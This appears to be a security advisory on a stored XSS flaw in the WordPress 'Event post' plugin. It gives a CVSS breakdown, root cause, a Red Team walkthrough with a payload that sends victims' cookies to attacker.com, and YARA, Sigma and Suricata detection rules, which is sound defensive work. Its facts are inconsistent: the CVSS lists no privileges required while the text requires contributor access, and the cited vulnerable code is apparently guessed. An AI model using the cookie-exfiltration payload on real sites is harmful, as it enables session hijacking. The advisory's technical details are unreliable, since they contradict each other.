CVE-2025-24585

Executive Summary

CVE-2025-24585 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Event post" by Bastien Ho, affecting versions up to and including 5.9.7. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into event posts. This can lead to session hijacking, defacement, or redirection to malicious sites. The CVSS score is 6.5 (Medium), and no official patch or exploit code is publicly available. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk remains for unpatched sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this vulnerability in targeted attacks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the stored XSS.
• User Interaction (UI): Required (R) – Victim must view the malicious event post.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of a patch and the potential for widespread WordPress installations make this a significant concern for site administrators.

Deep Dive & Mechanics

The vulnerability exists in the event-post plugin, which allows users to create and manage event posts. The plugin fails to sanitize or escape user input when rendering event details, such as the event title, description, or custom fields. An attacker with contributor-level access (or higher) can inject malicious JavaScript into these fields. When an administrator or visitor views the event post, the injected script executes in their browser context.

Root Cause: The plugin uses functions like echo $event_title or the_content() without applying WordPress's built-in escaping functions (e.g., esc_html(), wp_kses_post()). This allows HTML and JavaScript to be rendered directly.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Creates a new event post with malicious payload in the title or description field (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the database.
4. When an admin or visitor views the event post, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (event-post.php, line ~120):

echo '<h2>' . $event_title . '</h2>';

Patched Code (hypothetical fix):

echo '<h2>' . esc_html( $event_title ) . '</h2>';

The vulnerable code directly outputs user input without sanitization. The patched version uses esc_html() to neutralize HTML tags.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Event post plugin <= 5.9.7.
• Attacker account with contributor role or higher.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Events > Add New.
3. In the title field, enter: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
4. Publish the event.
5. Send the event link to an admin or visitor.
6. When the victim views the event, their cookies are exfiltrated.

Example Payload (stored in description):

<img src=x onerror="alert('XSS')">

Blue Team

Detection:

• Monitor for unusual event post creation from low-privileged users.
• Look for event posts containing <script>, onerror, onload, or other event handlers in the title or description.
• Use WAF rules to block common XSS patterns in POST requests to /wp-admin/post.php.

Hunting:

• Query the WordPress database for posts with post_type = 'event' and suspicious content:

SELECT * FROM wp_posts WHERE post_type = 'event' AND (post_title LIKE '%<script%' OR post_content LIKE '%<script%');

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• File: Modified event-post.php or other plugin files (if attacker gains admin access).
• Log: WordPress audit logs showing event post creation by unexpected users.
• Database: Event posts containing <script>, onerror, onload, onmouseover, or javascript: in post_title or post_content.

Detection Engineering

YARA Rule

rule CVE_2025_24585_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Event post plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24585"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Event Post Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress event posts
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/post.php'
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in event descriptions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24585 Stored XSS in Event Post"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict user roles – Only allow trusted users to create event posts.
3. Apply a WAF rule to block XSS payloads in event post submissions.

Long-term Fix:

• The vendor must release a patched version that properly escapes output. Until then, consider using an alternative event management plugin.

Workaround:

• Add a custom function to your theme's functions.php to sanitize event post data:

add_filter( 'the_title', 'sanitize_event_title', 10, 2 );
function sanitize_event_title( $title, $id ) {
    if ( get_post_type( $id ) === 'event' ) {
        $title = esc_html( $title );
    }
    return $title;
}

Valters IT
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